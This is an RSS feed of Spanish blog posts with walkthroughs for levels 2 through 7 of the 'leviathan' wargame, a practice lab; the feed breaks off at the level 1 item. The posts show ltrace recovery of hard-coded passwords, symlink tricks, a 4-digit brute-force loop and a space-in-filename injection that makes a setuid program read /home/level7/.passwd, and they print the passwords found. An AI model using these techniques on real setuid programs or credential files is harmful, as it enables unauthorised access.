<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>systemadmin.es &#187; wargame</title>
	<atom:link href="http://systemadmin.es/tag/wargame/feed" rel="self" type="application/rss+xml" />
	<link>http://systemadmin.es</link>
	<description>Tu referencia para la administración de sistemas</description>
	<lastBuildDate>Thu, 24 May 2012 07:51:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Wargame leviathan: nivel 7</title>
		<link>http://systemadmin.es/2011/01/wargame-leviathan-nivel-7</link>
		<comments>http://systemadmin.es/2011/01/wargame-leviathan-nivel-7#comments</comments>
		<pubDate>Sun, 02 Jan 2011 06:58:13 +0000</pubDate>
		<dc:creator>Jordi Prats</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://systemadmin.es/?p=3109</guid>
		<description><![CDATA[Para este último nivel veremos como hacer un ataque de fuerza bruta contra un binario que nos pide una contraseña corta: Si ejecutamos el binario de este nivel sin argumentos nos indica que la contraseña es un conjunto de cuatro números: level7@leviathan:~$ /wargame/sphinx usage: /wargame/sphinx Si introducimos unos cualquieras nos indica el error: level7@leviathan:~$ /wargame/sphinx [...]]]></description>
			<content:encoded><![CDATA[<p>Para este último nivel veremos como hacer un ataque de fuerza bruta contra un binario que nos pide una contraseña corta:</p>
<p><!-- more --></p>
<p>Si ejecutamos el binario de este nivel sin argumentos nos indica que la contraseña es un conjunto de <strong>cuatro números</strong>:</p>
<pre>
level7@leviathan:~$ /wargame/sphinx
usage: /wargame/sphinx <4 digit code>
</pre>
<p>Si introducimos unos cualquieras nos indica el error:</p>
<pre>
level7@leviathan:~$ /wargame/sphinx 1234
Wrong
</pre>
<p>Mediante <strong>seq</strong> podemos generar todas las contraseñas posibles para ir probando con todas ellas. Con <strong>grep</strong> quitamos todos los <strong>Wrong</strong> que nos van a ir saliendo:</p>
<pre>
level7@leviathan:~$ for i in $(seq -w 0 9999); do /wargame/sphinx $i | grep -v Wrong; done
sh-3.1$ cat /home/level8/.passwd
sh-3.1$ FsnC0xl7
</pre>
<p>Para ver cual era la contraseña podemos verlo con un <strong>ps</strong>:</p>
<pre>
sh-3.1$ ps -u level8 -o command
sh-3.1$ COMMAND
/wargame/sphinx 7123
/bin/sh
ps -u level8 -o command
</pre>
<p>Al entrar en el nivel 8 con la contraseña que hemos descubierto (<strong>FsnC0xl7</strong> encontramos el <strong>CONGRATULATIONS</strong> que nos fa el string que finaliza el wargame:</p>
<pre>
level8@leviathan:~$ cat CONGRATULATIONS
Well Done, you seem to have used *nix system before, now try something more serious. Your completion string is "Unix is easy!!!".
</pre>
<p>Otros niveles de este <strong>wargame</strong>:</p>
<ul>
<li><a href="/2010/12/wargame-leviathan-nivel-1">leviathan: nivel 1</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-2">leviathan: nivel 2</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-3">leviathan: nivel 3</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-4">leviathan: nivel 4</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-5">leviathan: nivel 5</a></li>
<li><a href="/2011/01/wargame-leviathan-nivel-6">leviathan: nivel 6</a></li>
<li><strong>leviathan: nivel 7</strong></li>
</ul>

	Tags: <a href="http://systemadmin.es/tag/wargame" title="wargame" rel="tag">wargame</a><br />

	<h4 style="margin-top: 50px">Relacionados</h4>
	<ul class="st-related-posts">
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-8" onclick="pageTracker._trackEvent('relacionados','2661');" title="Wargame narnia: Nivel 8 (22/June/2010)">Wargame narnia: Nivel 8</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-7" onclick="pageTracker._trackEvent('relacionados','2646');" title="Wargame narnia: Nivel 7 (16/June/2010)">Wargame narnia: Nivel 7</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-6" onclick="pageTracker._trackEvent('relacionados','2633');" title="Wargame narnia: Nivel 6 (11/June/2010)">Wargame narnia: Nivel 6</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargane-narnia-nivel-4" onclick="pageTracker._trackEvent('relacionados','2626');" title="Wargame narnia: Nivel 4 (3/June/2010)">Wargame narnia: Nivel 4</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargane-narnia-nivel-3" onclick="pageTracker._trackEvent('relacionados','2622');" title="Wargame narnia: Nivel 3 (1/June/2010)">Wargame narnia: Nivel 3</a></li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://systemadmin.es/2011/01/wargame-leviathan-nivel-7/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wargame leviathan: nivel 6</title>
		<link>http://systemadmin.es/2011/01/wargame-leviathan-nivel-6</link>
		<comments>http://systemadmin.es/2011/01/wargame-leviathan-nivel-6#comments</comments>
		<pubDate>Sat, 01 Jan 2011 08:17:51 +0000</pubDate>
		<dc:creator>Jordi Prats</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[ltrace]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://systemadmin.es/?p=3108</guid>
		<description><![CDATA[En este nivel veremos como engañar a un binario que genera una cadena que ejecuta de forma dinámica pero poco segura: Nos encontramos en este nivel con el siguiente binario: level6@leviathan:~$ /wargame/printfile *** File Printer *** Usage: /wargame/printfile filename Si le damos un fichero nos lo muestra por pantalla: level6@leviathan:~$ echo hola > /tmp/fichero level6@leviathan:~$ [...]]]></description>
			<content:encoded><![CDATA[<p>En este nivel veremos como engañar a un binario que genera una cadena que ejecuta de forma dinámica pero <strong>poco segura</strong>:</p>
<p><!-- more --></p>
<p>Nos encontramos en este nivel con el siguiente binario:</p>
<pre>
level6@leviathan:~$ /wargame/printfile
*** File Printer ***
Usage: /wargame/printfile filename
</pre>
<p>Si le damos un fichero nos lo muestra por pantalla:</p>
<pre>
level6@leviathan:~$ echo hola > /tmp/fichero
level6@leviathan:~$ /wargame/printfile /tmp/fichero
hola
</pre>
<p>Pero si lo hacemos con un <strong>link</strong> veremos que no lo muestra:</p>
<pre>
level6@leviathan:~$ ln -s /home/level7/.passwd /tmp/lolnext
level6@leviathan:~$ /wargame/printfile /tmp/lolnext
You cant have that file...
</pre>
<p>Mediante un <strong>ltrace</strong> podemos mirar que hace:</p>
<pre>
level6@leviathan:~$ ltrace /wargame/printfile /tmp/lolnext
__libc_start_main(0x8048424, 2, 0xbffffac4, 0x8048570, 0x8048520 &lt;unfinished ...&gt;
access("/tmp/lolnext", 0)                                                                                                      = -1
puts("You cant have that file..."You cant have that file...
)                                                                                             = 27
+++ exited (status 1) +++
level6@leviathan:~$ ltrace /wargame/printfile /tmp/fichero
__libc_start_main(0x8048424, 2, 0xbffffac4, 0x8048570, 0x8048520 &lt;unfinished ...&gt;
access("/tmp/fichero", 0)                                                                                                      = 0
snprintf("/bin/cat /tmp/fichero", 511, "/bin/cat %s", "/tmp/fichero")                                                          = 21
system("/bin/cat /tmp/fichero"hola
 &lt;unfinished ...&gt;
--- SIGCHLD (Child exited) ---
&lt;... system resumed&gt; )                                                                                                         = 0
+++ exited (status 0) +++
</pre>
<p>Mediante la llamada <strong>access</strong> comprueba que tengamos privilegios suficientes sobre el fichero destino:</p>
<pre>
access("/tmp/fichero", 0)
</pre>
<p>En caso que los tengamos genera la cadena a ejecutar con <strong>snprintf</strong>:</p>
<pre>
snprintf("/bin/cat /tmp/fichero", 511, "/bin/cat %s", "/tmp/fichero")
</pre>
<p>Por lo tanto, como que el cat admite varios parámetros simplemente creamos un fichero con un espacio que tenga permisos pero que la primera parte del nombre de fichero (la parte de antes del espacio) sea un <strong>link</strong> al fichero de password del siguiente nivel:</p>
<pre>
level6@leviathan:~$ ln -s /home/level7/.passwd /tmp/aaa
level6@leviathan:~$ echo hola /tmp/aaa\ bbb
</pre>
<p>Al ejecutar el binario con el fichero con espacio el <strong>cat</strong> que se ejecuta es:</p>
<pre>
cat aaa bbb
</pre>
<p>Por lo que hace el <strong>cat</strong> de los ficheros <strong>aaa</strong> y <strong>bbb</strong>, pero el access comprueba los permisos del fichero llamado &#8220;<strong>aaa bbb</strong>&#8220;:</p>
<pre>
level6@leviathan:~$ /wargame/printfile /tmp/aaa\ bbb
X98ZdPfp
/bin/cat: bbb: Permission denied
</pre>
<p>Otros niveles de este <strong>wargame</strong>:</p>
<ul>
<li><a href="/2010/12/wargame-leviathan-nivel-1">leviathan: nivel 1</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-2">leviathan: nivel 2</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-3">leviathan: nivel 3</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-4">leviathan: nivel 4</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-5">leviathan: nivel 5</a></li>
<li><strong>leviathan: nivel 6</strong></li>
<li><a href="/2011/01/wargame-leviathan-nivel-7">leviathan: nivel 7</a></li>
</ul>

	Tags: <a href="http://systemadmin.es/tag/ltrace" title="ltrace" rel="tag">ltrace</a>, <a href="http://systemadmin.es/tag/wargame" title="wargame" rel="tag">wargame</a><br />

	<h4 style="margin-top: 50px">Relacionados</h4>
	<ul class="st-related-posts">
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-8" onclick="pageTracker._trackEvent('relacionados','2661');" title="Wargame narnia: Nivel 8 (22/June/2010)">Wargame narnia: Nivel 8</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-7" onclick="pageTracker._trackEvent('relacionados','2646');" title="Wargame narnia: Nivel 7 (16/June/2010)">Wargame narnia: Nivel 7</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-6" onclick="pageTracker._trackEvent('relacionados','2633');" title="Wargame narnia: Nivel 6 (11/June/2010)">Wargame narnia: Nivel 6</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargane-narnia-nivel-4" onclick="pageTracker._trackEvent('relacionados','2626');" title="Wargame narnia: Nivel 4 (3/June/2010)">Wargame narnia: Nivel 4</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargane-narnia-nivel-3" onclick="pageTracker._trackEvent('relacionados','2622');" title="Wargame narnia: Nivel 3 (1/June/2010)">Wargame narnia: Nivel 3</a></li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://systemadmin.es/2011/01/wargame-leviathan-nivel-6/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wargame leviathan: nivel 5</title>
		<link>http://systemadmin.es/2010/12/wargame-leviathan-nivel-5</link>
		<comments>http://systemadmin.es/2010/12/wargame-leviathan-nivel-5#comments</comments>
		<pubDate>Fri, 31 Dec 2010 06:04:21 +0000</pubDate>
		<dc:creator>Jordi Prats</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://systemadmin.es/?p=3107</guid>
		<description><![CDATA[En este nivel del wargame leviathan veremos como traducir la contraseña de binario a ASCII: Al entrar nos encontramos un directorio llamado .Trash: level5@leviathan:~$ ls -la total 28 drwx------ 3 level5 level5 4096 2008-03-26 02:41 . drwxr-xr-x 10 root root 4096 2008-03-26 01:55 .. -rw-r--r-- 1 root root 0 2008-03-26 02:09 .bash_history -rw-r--r-- 1 root [...]]]></description>
			<content:encoded><![CDATA[<p>En este nivel del <strong>wargame leviathan</strong> veremos como <strong>traducir</strong> la contraseña <strong>de binario a ASCII</strong>:</p>
<p><!-- more --></p>
<p>Al entrar nos encontramos un directorio llamado <strong>.Trash</strong>:</p>
<pre>
level5@leviathan:~$ ls -la
total 28
drwx------  3 level5 level5 4096 2008-03-26 02:41 .
drwxr-xr-x 10 root   root   4096 2008-03-26 01:55 ..
-rw-r--r--  1 root   root      0 2008-03-26 02:09 .bash_history
-rw-r--r--  1 root   root    220 2008-03-26 01:54 .bash_logout
-rw-r--r--  1 root   root    414 2008-03-26 01:54 .bash_profile
-rw-r--r--  1 root   root   2227 2008-03-26 01:54 .bashrc
-rw-r--r--  1 root   root      9 2008-03-26 01:55 .passwd
drwxr-xr-x  2 root   level5 4096 2008-03-26 02:41 .Trash
</pre>
<p>En ficho directorio tenemos un fichero <strong>bin</strong>:</p>
<pre>
level5@leviathan:~/.Trash$ ls -la
total 16
drwxr-xr-x 2 root   level5 4096 2008-03-26 02:41 .
drwx------ 3 level5 level5 4096 2008-03-26 02:41 ..
-r-sr-s--- 1 level6 level5 7519 2008-03-26 02:34 bin
</pre>
<p>Al ejecutarlo nos da una cadena en binario:</p>
<pre>
level5@leviathan:~/.Trash$ ./bin
00110110 01101100 01111001 01110110 01001100 01011000 01000011 01000001 00001010
</pre>
<p>Podemos traducirlo a mano, pero combinando <strong>sed</strong> y <strong>perl</strong> podemos hacerlo igual para obtener la contraseña del siguiente nivel:</p>
<pre>
level5@leviathan:~/.Trash$ perl -e "$(./bin | sed -e 's/ \([01]\)/ print#chr(0b\1/g' -e 's/ /); /g' -e 's/^/print chr(0b/' -e 's/#/ /g')"
6lyvLXCA
</pre>
<p>Otros niveles de este <strong>wargame</strong>:</p>
<ul>
<li><a href="/2010/12/wargame-leviathan-nivel-1">leviathan: nivel 1</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-2">leviathan: nivel 2</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-3">leviathan: nivel 3</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-4">leviathan: nivel 4</a></li>
<li><strong>leviathan: nivel 5</strong></li>
<li><a href="/2011/01/wargame-leviathan-nivel-6">leviathan: nivel 6</a></li>
<li><a href="/2011/01/wargame-leviathan-nivel-7">leviathan: nivel 7</a></li>
</ul>

	Tags: <a href="http://systemadmin.es/tag/wargame" title="wargame" rel="tag">wargame</a><br />

	<h4 style="margin-top: 50px">Relacionados</h4>
	<ul class="st-related-posts">
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-8" onclick="pageTracker._trackEvent('relacionados','2661');" title="Wargame narnia: Nivel 8 (22/June/2010)">Wargame narnia: Nivel 8</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-7" onclick="pageTracker._trackEvent('relacionados','2646');" title="Wargame narnia: Nivel 7 (16/June/2010)">Wargame narnia: Nivel 7</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-6" onclick="pageTracker._trackEvent('relacionados','2633');" title="Wargame narnia: Nivel 6 (11/June/2010)">Wargame narnia: Nivel 6</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargane-narnia-nivel-4" onclick="pageTracker._trackEvent('relacionados','2626');" title="Wargame narnia: Nivel 4 (3/June/2010)">Wargame narnia: Nivel 4</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargane-narnia-nivel-3" onclick="pageTracker._trackEvent('relacionados','2622');" title="Wargame narnia: Nivel 3 (1/June/2010)">Wargame narnia: Nivel 3</a></li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://systemadmin.es/2010/12/wargame-leviathan-nivel-5/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Wargame leviathan: nivel 4</title>
		<link>http://systemadmin.es/2010/12/wargame-leviathan-nivel-4</link>
		<comments>http://systemadmin.es/2010/12/wargame-leviathan-nivel-4#comments</comments>
		<pubDate>Thu, 30 Dec 2010 06:57:50 +0000</pubDate>
		<dc:creator>Jordi Prats</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[ltrace]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://systemadmin.es/?p=3106</guid>
		<description><![CDATA[En este nivel volvemos a tener que ver como encontrar la cadena con la que comparamos un string d&#8217;entrada: Primero ejecutamos el binario del nivel para ver que ocurre: level4@leviathan:~$ /wargame/level4 Enter the password&#62; aaa bzzzzzzzzap. WRONG A continuación con ltrace vemos que el binario cuando el password es incorrecto: level4@leviathan:~$ ltrace /wargame/level4 __libc_start_main(0x8048523, 1, [...]]]></description>
			<content:encoded><![CDATA[<p>En este nivel volvemos a tener que ver como encontrar la cadena con la que comparamos un string d&#8217;entrada:</p>
<p><!-- more --></p>
<p>Primero ejecutamos el binario del nivel para ver que ocurre:</p>
<pre>
level4@leviathan:~$ /wargame/level4
Enter the password&gt; aaa
bzzzzzzzzap. WRONG
</pre>
<p>A continuación con <a href="/2010/07/ltrace-seguir-las-llamadas-a-librerias">ltrace</a> vemos que el binario cuando el <strong>password</strong> es incorrecto:</p>
<pre>
level4@leviathan:~$ ltrace /wargame/level4
__libc_start_main(0x8048523, 1, 0xbffffae4, 0x8048650, 0x8048600 &lt;unfinished ...&gt;
strcmp("h0no33", "kakaka")                                                                                                     = -1
printf("Enter the password&gt; ")                                                                                                 = 20
fgets(Enter the password&gt; aaa
"aaa\n", 256, 0xb7fe1300)                                                                                                = 0xbffff8fd
strcmp("aaa\n", "snlprintf\n")                                                                                                 = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
)                                                                                                     = 19
+++ exited (status 0) +++
</pre>
<p>La parte interesante es:</p>
<pre>
strcmp("aaa\n", "snlprintf\n")
</pre>
<p>Así la contraseña esta un poco más <strong>disimulada</strong> si usamos el comando <strong>strings</strong>, pero con <strong>ltrace</strong> dicha ofuscación no sirve de nada:</p>
<pre>
level4@leviathan:~$ /wargame/level4
Enter the password> snlprintf
[You've got shell]!
sh-3.1$ cat /home/level5/.passwd
Dx08I4vD
</pre>
<p>Otros niveles de este <strong>wargame</strong>:</p>
<ul>
<li><a href="/2010/12/wargame-leviathan-nivel-1">leviathan: nivel 1</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-2">leviathan: nivel 2</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-3">leviathan: nivel 3</a></li>
<li><strong>leviathan: nivel 4</strong></li>
<li><a href="/2010/12/wargame-leviathan-nivel-5">leviathan: nivel 5</a></li>
<li><a href="/2011/01/wargame-leviathan-nivel-6">leviathan: nivel 6</a></li>
<li><a href="/2011/01/wargame-leviathan-nivel-7">leviathan: nivel 7</a></li>
</ul>

	Tags: <a href="http://systemadmin.es/tag/ltrace" title="ltrace" rel="tag">ltrace</a>, <a href="http://systemadmin.es/tag/wargame" title="wargame" rel="tag">wargame</a><br />

	<h4 style="margin-top: 50px">Relacionados</h4>
	<ul class="st-related-posts">
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-8" onclick="pageTracker._trackEvent('relacionados','2661');" title="Wargame narnia: Nivel 8 (22/June/2010)">Wargame narnia: Nivel 8</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-7" onclick="pageTracker._trackEvent('relacionados','2646');" title="Wargame narnia: Nivel 7 (16/June/2010)">Wargame narnia: Nivel 7</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-6" onclick="pageTracker._trackEvent('relacionados','2633');" title="Wargame narnia: Nivel 6 (11/June/2010)">Wargame narnia: Nivel 6</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargane-narnia-nivel-4" onclick="pageTracker._trackEvent('relacionados','2626');" title="Wargame narnia: Nivel 4 (3/June/2010)">Wargame narnia: Nivel 4</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargane-narnia-nivel-3" onclick="pageTracker._trackEvent('relacionados','2622');" title="Wargame narnia: Nivel 3 (1/June/2010)">Wargame narnia: Nivel 3</a></li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://systemadmin.es/2010/12/wargame-leviathan-nivel-4/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wargame leviathan: nivel 3</title>
		<link>http://systemadmin.es/2010/12/wargame-leviathan-nivel-3</link>
		<comments>http://systemadmin.es/2010/12/wargame-leviathan-nivel-3#comments</comments>
		<pubDate>Wed, 29 Dec 2010 06:58:32 +0000</pubDate>
		<dc:creator>Jordi Prats</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://systemadmin.es/?p=3105</guid>
		<description><![CDATA[En este nivel vamos a ver como engañar a un binario para que lea el fichero que nos interese. Al entrar al nivel vemos el fichero /wargame/prog que nos devuelve: level3@leviathan:~$ /wargame/prog Cannot find /tmp/file.log Si creamos un fichero llamado /tmp/file.log nos lo muestra por pantalla: level3@leviathan:~$ echo hola > /tmp/file.log level3@leviathan:~$ /wargame/prog hola Por [...]]]></description>
			<content:encoded><![CDATA[<p>En este nivel vamos a ver como engañar a un binario para que lea el fichero que nos interese.</p>
<p><!-- more --></p>
<p>Al entrar al nivel vemos el fichero <strong>/wargame/prog</strong> que nos devuelve:</p>
<pre>
level3@leviathan:~$ /wargame/prog
Cannot find /tmp/file.log
</pre>
<p>Si creamos un fichero llamado <strong>/tmp/file.log</strong> nos lo muestra por pantalla:</p>
<pre>
level3@leviathan:~$ echo hola > /tmp/file.log
level3@leviathan:~$ /wargame/prog
hola
</pre>
<p>Por lo tanto con un simple <strong>link</strong> al fichero que nos interesa obtenemos la contraseña del siguiente nivel:</p>
<pre>
level3@leviathan:~$ ln -s /home/level4/.passwd /tmp/file.log
level3@leviathan:~$ /wargame/prog
R0gBtSP5
</pre>
<p>Otros niveles de este <strong>wargame</strong>:</p>
<ul>
<li><a href="/2010/12/wargame-leviathan-nivel-1">leviathan: nivel 1</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-2">leviathan: nivel 2</a></li>
<li><strong>leviathan: nivel 3</strong></li>
<li><a href="/2010/12/wargame-leviathan-nivel-4">leviathan: nivel 4</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-5">leviathan: nivel 5</a></li>
<li><a href="/2011/01/wargame-leviathan-nivel-6">leviathan: nivel 6</a></li>
<li><a href="/2011/01/wargame-leviathan-nivel-7">leviathan: nivel 7</a></li>
</ul>

	Tags: <a href="http://systemadmin.es/tag/wargame" title="wargame" rel="tag">wargame</a><br />

	<h4 style="margin-top: 50px">Relacionados</h4>
	<ul class="st-related-posts">
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-8" onclick="pageTracker._trackEvent('relacionados','2661');" title="Wargame narnia: Nivel 8 (22/June/2010)">Wargame narnia: Nivel 8</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-7" onclick="pageTracker._trackEvent('relacionados','2646');" title="Wargame narnia: Nivel 7 (16/June/2010)">Wargame narnia: Nivel 7</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-6" onclick="pageTracker._trackEvent('relacionados','2633');" title="Wargame narnia: Nivel 6 (11/June/2010)">Wargame narnia: Nivel 6</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargane-narnia-nivel-4" onclick="pageTracker._trackEvent('relacionados','2626');" title="Wargame narnia: Nivel 4 (3/June/2010)">Wargame narnia: Nivel 4</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargane-narnia-nivel-3" onclick="pageTracker._trackEvent('relacionados','2622');" title="Wargame narnia: Nivel 3 (1/June/2010)">Wargame narnia: Nivel 3</a></li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://systemadmin.es/2010/12/wargame-leviathan-nivel-3/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wargame leviathan: nivel 2</title>
		<link>http://systemadmin.es/2010/12/wargame-leviathan-nivel-2</link>
		<comments>http://systemadmin.es/2010/12/wargame-leviathan-nivel-2#comments</comments>
		<pubDate>Tue, 28 Dec 2010 07:33:41 +0000</pubDate>
		<dc:creator>Jordi Prats</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[ltrace]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://systemadmin.es/?p=3104</guid>
		<description><![CDATA[En el segundo nivel del wargame leviathan ya tenemos que mirar dentro de /wargame para encontrar el binario a ejecutar: Con un simple ls vemos que tenemos permisos sobre el llamado check: level2@leviathan:/wargame$ ls -la total 48 drwxr-xr-x 2 root root 4096 2008-03-26 02:41 . drwxr-xr-x 22 root root 4096 2008-03-26 02:54 .. -r-sr-s--- 1 [...]]]></description>
			<content:encoded><![CDATA[<p>En el segundo nivel del <strong>wargame leviathan</strong> ya tenemos que mirar dentro de <strong>/wargame</strong> para encontrar el binario a ejecutar:</p>
<p><!-- more --></p>
<p>Con un simple <strong>ls</strong> vemos que tenemos permisos sobre el llamado <strong>check</strong>:</p>
<pre>
level2@leviathan:/wargame$ ls -la
total 48
drwxr-xr-x  2 root   root   4096 2008-03-26 02:41 .
drwxr-xr-x 22 root   root   4096 2008-03-26 02:54 ..
-r-sr-s---  1 level3 level2 7738 2008-03-26 02:31 check
-r-sr-s---  1 level5 level4 8090 2008-03-26 02:33 level4
-r-sr-s---  1 level7 level6 7696 2008-03-26 02:34 printfile
-r-sr-s---  1 level4 level3 8051 2008-03-26 02:51 prog
-r-sr-s---  1 level8 level7 7661 2008-03-26 02:35 sphinx
</pre>
<p>Si lo ejecutamos vemos que nos pide una contraseña:</p>
<pre>
level2@leviathan:/wargame$ ./check
password: aa
Wrong password, Good Bye ...
</pre>
<p>Para ver con que esta comparando lo que le introducimos podemos hacerlo mediante un <a href="/2010/07/ltrace-seguir-las-llamadas-a-librerias">ltrace</a> o bien mirando las cadenas que contiene el binario mediante el comando <strong>strings</strong>. En este caso probaremos con <strong>ltrace</strong>:</p>
<pre>
level2@leviathan:/wargame$ ltrace ./check
__libc_start_main(0x8048464, 1, 0xbffffad4, 0x8048580, 0x8048530 &lt;unfinished ...&gt;
printf("password: ")                                                                                                           = 10
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4password: aa
)                                                              = 97
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4)                                                              = 97
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4)                                                              = 10
strcmp("aa\n", "sex")                                                                                                          = -1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
)                                                                                           = 29
+++ exited (status 29) +++
</pre>
<p>La parte que nos interesa es la función <strong>strcmp</strong>:</p>
<pre>
strcmp("aa\n", "sex")
</pre>
<p>Por lo tanto, probamos de volver a ejecutarlo con dicha contraseña para obtener una shell:</p>
<pre>
level2@leviathan:/wargame$ ./check
password: sex
sh-3.1$ id
uid=1001(level2) gid=1001(level2) euid=1002(level3) groups=1001(level2)
</pre>
<p>Con dicha <strong>shell</strong> simplemente hacemos un <strong>cat</strong> del fichero <strong>.passwd</strong> de la home del <strong>level3</strong> para obtener la contraseña:</p>
<pre>
sh-3.1$ cat /home/level3/.passwd
oc7vaCOg
</pre>
<p>Otros niveles de este <strong>wargame</strong>:</p>
<ul>
<li><a href="/2010/12/wargame-leviathan-nivel-1">leviathan: nivel 1</a></li>
<li><strong>leviathan: nivel 2</strong></li>
<li><a href="/2010/12/wargame-leviathan-nivel-3">leviathan: nivel 3</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-4">leviathan: nivel 4</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-5">leviathan: nivel 5</a></li>
<li><a href="/2011/01/wargame-leviathan-nivel-6">leviathan: nivel 6</a></li>
<li><a href="/2011/01/wargame-leviathan-nivel-7">leviathan: nivel 7</a></li>
</ul>

	Tags: <a href="http://systemadmin.es/tag/ltrace" title="ltrace" rel="tag">ltrace</a>, <a href="http://systemadmin.es/tag/wargame" title="wargame" rel="tag">wargame</a><br />

	<h4 style="margin-top: 50px">Relacionados</h4>
	<ul class="st-related-posts">
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-8" onclick="pageTracker._trackEvent('relacionados','2661');" title="Wargame narnia: Nivel 8 (22/June/2010)">Wargame narnia: Nivel 8</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-7" onclick="pageTracker._trackEvent('relacionados','2646');" title="Wargame narnia: Nivel 7 (16/June/2010)">Wargame narnia: Nivel 7</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-6" onclick="pageTracker._trackEvent('relacionados','2633');" title="Wargame narnia: Nivel 6 (11/June/2010)">Wargame narnia: Nivel 6</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargane-narnia-nivel-4" onclick="pageTracker._trackEvent('relacionados','2626');" title="Wargame narnia: Nivel 4 (3/June/2010)">Wargame narnia: Nivel 4</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargane-narnia-nivel-3" onclick="pageTracker._trackEvent('relacionados','2622');" title="Wargame narnia: Nivel 3 (1/June/2010)">Wargame narnia: Nivel 3</a></li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://systemadmin.es/2010/12/wargame-leviathan-nivel-2/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Wargame leviathan: nivel 1</title>
		<link>http://systemadmin.es/2010/12/wargame-leviathan-nivel-1</link>
		<comments>http://systemadmin.es/2010/12/wargame-leviathan-nivel-1#comments</comments>
		<pubDate>Mon, 27 Dec 2010 08:02:15 +0000</pubDate>
